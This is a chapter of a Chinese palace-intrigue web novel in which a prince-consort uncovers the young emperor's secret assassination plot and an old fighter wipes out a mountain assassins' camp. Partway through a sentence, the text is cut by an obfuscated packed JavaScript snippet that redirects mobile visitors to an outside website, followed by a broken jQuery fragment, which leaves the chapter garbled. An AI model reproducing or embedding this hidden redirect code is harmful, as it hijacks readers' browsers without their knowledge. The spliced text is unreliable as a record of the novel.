默认冷灰
24号文字
方正启体

76. 双面天子

作者:虎也本书字数:K更新时间:
    军营有自己的严苛运行规则,默认跟谁上过战场,便是谁的终生心腹,直至阵亡。


    因胡二毛在沈丘染军营待过,虽编入姬家军,仍无法被信任,混不进军营核心圈,便接触不到太多有效信息。


    何况,与赤笛悍匪二战刚结束,他便被派回京城呼叫增援,完全不知林执缨受伤后续。


    祭拜先帝在天之灵时,周围的大臣泣涕涟涟,比缅怀亲爹还投入,姜凌嚣身置其中,失魂落魄,面无人色,看起来也分外真挚。


    连朱帝瞧见了,都在心底嘲讽一句:“真像个贤婿。”


    只是姜凌嚣那种生不如死的没抓没落,跟死透了的先帝毫无瓜葛,是被小虎的生死不明弄得提心吊胆。


    得想个什么法子,把她从姬有权手里救回来,可姬有权现在在哪儿?死鱼眼他们有没有碰见?姜凌嚣一阵茫然。


    清明例来落雨纷纷,祭拜结束后,雨还未停,朱帝怕脏了新靴子不想下山,以给天下百姓祈福的名目,让一帮和尚带着臣子诵经。


    众臣昏昏欲睡,朱帝率先打起呼噜。


    姬无心也穷极无聊,索性让随从给拔起白头发,每拔到一根白发,姬无心就一脸愤恨,扔到香炉里烧掉,眼中喷出对朱帝稚嫩脸庞的忌剫。


    烟雾缭绕,经如蝇嗡,拖延了快两个时辰还在继续,姜凌嚣心急如焚。


    小虎生死未卜,增援的姬家军已走了一夜半天,一旦与姬有权会合,营救难度加大,而他此刻困在墓中,寸步难离。


    “噗”,朱帝放了个屁,把自己吓醒了,借口出恭离开。临走,还笑嘻嘻盘了把和尚的光头。


    姜凌嚣随即起身,陵堂前重兵把守,出不得门,他闪进旁边不起眼的拐角,拐进墓道。


    墓道狭窄,虽仅容一人通行,但挑高能容人直立行走,弯弯绕绕,犹如迷宫。


    姜凌嚣穿梭其中,寻找着可能的出口,但总是被诓,拐进一个又一个旋转石门后的墓穴。


    里面全是成山成堆的珠宝玉器。


    前方,忽然传来嗡嗡的说话声,姜凌嚣悄声贴壁上前。


    墓穴旋转石门开着,朱帝的声音隐约传来:“······秘密前去杀了姬有权,砍掉姬家未来军权继承人······”


    原来,这小子整天耽溺酒乐的昏聩无能真是刻意演出的表象,大概是朝中虎狼环伺,正面冲突实力悬殊,只能来阴的。


    可是,帮朱帝做脏事的是谁?一个,还是一群?


    “驸马?”朱帝宫中一个小太监拐进墓道,发现了姜凌嚣。


    “谁?!”朱帝警觉,走向墓穴门口。


    窥破天机,只有死路一条。姜凌嚣抢先大喝一声“保护皇上!”,斩断小太监刚张开嘴要对朱帝的回应,疾步上前拧断太监脖子,拖着他一起闪进旁边堆积殉葬品的墓穴,拔出一柄青铜剑,咬了咬牙,一刀捅在自己腹部,倒在地上,血涌如柱。


    朱帝一行慌忙赶进来,地上倒着伸腿瞪眼的小太监,和腹部中剑的姜凌嚣。


    姜凌嚣指着门外,栽赃并不存在的闯入者:“有刺客!杀了您的贴身太监,又刺了我······”


    话未尽,眼一翻,头一歪,昏了过去,眼皮悄悄裂开一条罅隙,偷窥着朱帝身边环绕的人。


    一群覆面黑衣人:“皇上,有人偷听机密又刺杀驸马,必须斩草除根。”


    冷酷,残忍,像极了灭门姜家的风格。


    姜凌嚣合上眼皮,心在喉头突突跳,难道就这样毫无征兆地撞破了苦苦追寻的真相?


    朱帝抬手,脸色和声音均理智坚决:“不,赶紧忙你们正事去。从小路下山,别叫人看见。”


    黑衣人一走,朱帝几番小声演练,逐次调整,才换回平日里带着三分蠢、七分没主意的破锣嗓子:“太医,驸马流血啦,快来呀!”


    城府深重与愚蠢在短时间内的对比强烈,让姜凌嚣在心底重新审视起这个少年天子,他为何屠杀了姜家满门?


    朱帝使劲摇了几下姜凌嚣,越摇,血流越多。


    本来装昏,现在真要昏了,姜凌嚣恨不得甩朱帝两巴掌。


    好在随行太医很快赶来。一番救治后,姜凌嚣被抬回府上,其他皇亲国戚和官员也被有序疏散下山。


    姬无心守在皇陵,督查搜山。


    驸马府,几个资深太医围着救治一番,血刚止住,姜凌嚣就挣扎起身。


    太医吓得连连阻拦:“驸马爷,动弹不得!万一崩了伤口,臣承担不起啊!”


    自己有精尖医护,生命都岌岌可危,不敢想象同此遭遇的小虎,下场如何。


    姜凌嚣心慌到发空,虚弱残破的身子像冬季枝头最后的一片枯叶,走两步就着了风似的,直往地上落,眼前一双双靴子晕成一片漆黑。


    今年清明雨不断,像极了先帝龙体初抱恙那年。


    但是那天,有一不同,阴云蔽日,天地混沌。


    突然天降巨大火球,整个京城都照亮了,随后“轰”的一声巨响,雷落在京郊山上,劈裂山体,形成一条巨大的裂缝,吞噬掉所有被困的垦山人。


    天象不详,钦天监上奏,需由先帝起个名字压住邪祟山头。


    因落雷时,天地间的红光犹如凤凰浴火,故得名屠凤山,敬畏与诅咒掺半。


    如今的屠凤山,一条丈高的涓涓细流从雷击裂谷里倾泻而下,在谷底形成一个小泉。


    两个身着练功服的男子,从泉里打了水,扁担挑着,走向百余米开外的庙。


    路上,一高一矮两人闲聊:


    “余粮马上没了吧?得下山运粮了。”


    “你不许提!你一说水没了,就支使咱俩挑水,你要说粮没了,又是咱俩运。练功就够累的了,还要干粗活,凭什么!”


    走至半路,两人耳朵动了几下,相互使个眼色,悄声放下扁担,抽出腰间短刀,蹑手蹑脚拨开路边灌木丛,视野陡然开阔。


    坡下,是块杂草区,一个披着蓑衣戴着草帽的老头,在吭哧吭哧刨地。


    两男子跳下坡,飞步来到老头身后,高个拍了下老头后背,立刻呲牙咧嘴甩手——驼背竟反敲的手疼!


    老头停住锄头,扶住草帽。


    高个不客气:“喂,干什么呢?”


    老头用锄头钩出土里的野地瓜,踢在高个脚下。


    两人打量老头,破衣烂帽寒酸,地头上放着两个破陶土罐,大概盛水的,旁边一个破草筐里盛着大大小小的野地瓜。


    不起眼的拾荒老头,可怜巴巴,没什么好灭口的,两男子收起凶器。


    天空乌云密布,春雷隆隆,眼见又要下雨,矮个警告:“没听说过这山下雨的时候死过垦山人呐,不许乱跑,赶紧走!”


    两人跳上坡远去,老头摘下草帽,露出耿正的脸。


    耿正提起陶土罐和篮子,朝庙相反方向爬,找到裂谷水源,附近寻摸了一个大树洞,用锄头拢了把干草垫在里面,倚了进去,十分隐蔽。


    拨开洞前野草,恰好俯视着庙里的一切活动。


    春雨濛濛,从午间断断续续下到夜晚,耿正不是啃野地瓜,就是睡大觉。


    直到有隐隐打雷迹象,他才提起土陶罐,放在裂谷水源,举着火折子,望向天。


    一道闪电划过天空,土陶罐引线被火折子点燃。


    “轰”的一声巨响,天雷与炸药同时炸裂。


    庙里,一群睡在大通铺上的男子骂骂咧咧:“今年春雷怎这样响!”


    半夜,此起彼伏的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920824|186002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    鼾声中,插进第二个响雷,又引起一阵骚动。


    值夜的汇报:“没事,又打了个雷而已,这回在下山的方向。”


    翌日,雨过天晴,庙前空地上跳跃着一群身手极佳的男子,练飞镖,扔锁链煞,全都是暗杀阴招。


    耿正眯眼,清点杀手人数,“一,二······二十二人。”


    练完功,眼皮底下的谷底泉眼处,有两人前来提水。


    水质浑浊不堪,没法做饭,杀手们怨声载道:“怎么回事?昨儿还好好的!”


    提水的杀手回:“又不怨我们,是昨晚打雷又劈裂了哪里,把整个泉眼污染了。”


    “粮也快没了!昨儿做饭的怎么不提醒一声呢?”


    “赶紧下山运粮!顺道运点干净水上来!”


    祸不单行,山路更是被几棵歪倒的树横拦,周边土方都塌了,上下山都不能了。


    “又怎么回事?!”


    “雷吧,值夜的不说有第二个雷在这个方向炸了嘛。”


    运粮运水失败,杀手们又渴又饿,吵成一团。


    练武的人最怕饿,饿一顿,体能就跟不上训练。早饭没吃,到了午饭时辰,这帮人已经焦躁不堪,没人练功。


    晚饭时,直接内讧,从屋内打到屋外,落了一地的飞镖和锁链煞也没人捡。


    值夜的两人也不像昨晚精神抖擞,没力气地坐在门口,垂头丧气。


    天黑,在树洞里吃睡了一天的耿正体能满满,开始出动。


    他潜到庙前,捡起地上飞镖甩出去,“嗖嗖”两下,值夜的杀手闷声倒下。


    耿正拖起地上的锁链煞,悄悄推开门,不幸,老化的合页掉下来,“当啷”一声。


    床上有人翻个身,烦躁骂:“小点声,操!回回就你值夜动静大。”


    耿正循声站到通铺前,“咻”的一下甩出锁链煞,锁链上的十个倒刺插进十个人的喉咙,一排人整齐死亡。


    幸存杀手们像热锅里的青蛙,从炕上蹦起来,还没找到行凶方向,就被横扫的铁链煞倒钩住皮肉,一个大甩,结结实实后脑勺着地。


    姜凌嚣要求“净化屠凤山”,耿正就得确保无一活口,边补刀在杀手心口,边清点人数:“一,二······二十一——”


    没有二十二。


    耿正扔了刀,握着把钳子,顺着地上血迹,无声靠近庙后水缸后面,脱下一只鞋子,“啪”丢在水缸前面。


    水缸盖猛地掀开,“二十二”起身往前劈了一刀,不料被背后锁喉,钳子入嘴,拔出金牙,才被结实捆绑在缸。


    “二十二”看到劲敌正脸,不由惊异:“怎么会是你?”


    耿正的背似乎也比昨天驼了,一说话,褶子拽的声线也往下耷拉:


    “人们愿意相信杀手中的杀手是卓尔不群的,而不愿承认最残酷的杀戮者往往是不起眼的,还是衰老的。”


    “二十二”喷着满嘴血:“就你一个人?怎么做到断水断路的?”


    耿正一脸“无可奉告”,“我有问题问你,回答我,你可以得到痛快。”


    “二十二”梗着脖子:“老子不怕死,你折磨我也不说。”


    “你还有家人。我能一个人除一个组织,也有办法挖出你家人。”


    “二十二”苦笑:“真是天外有天,服,问!但你要保证不去挖我家人。”


    耿正点头,“姬有德之后,是谁接管了你们?”


    “一个五十来岁的男人,只有下山运粮的时候才能见到他,但他也总是捂着斗篷从不露面,个头不高,声音尖细,像个阉货。”


    “运粮地点在哪儿?”


    “离玄虎堂隔着几条街的小酒馆,那里是个中转站,老板是个女人,姓钱。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)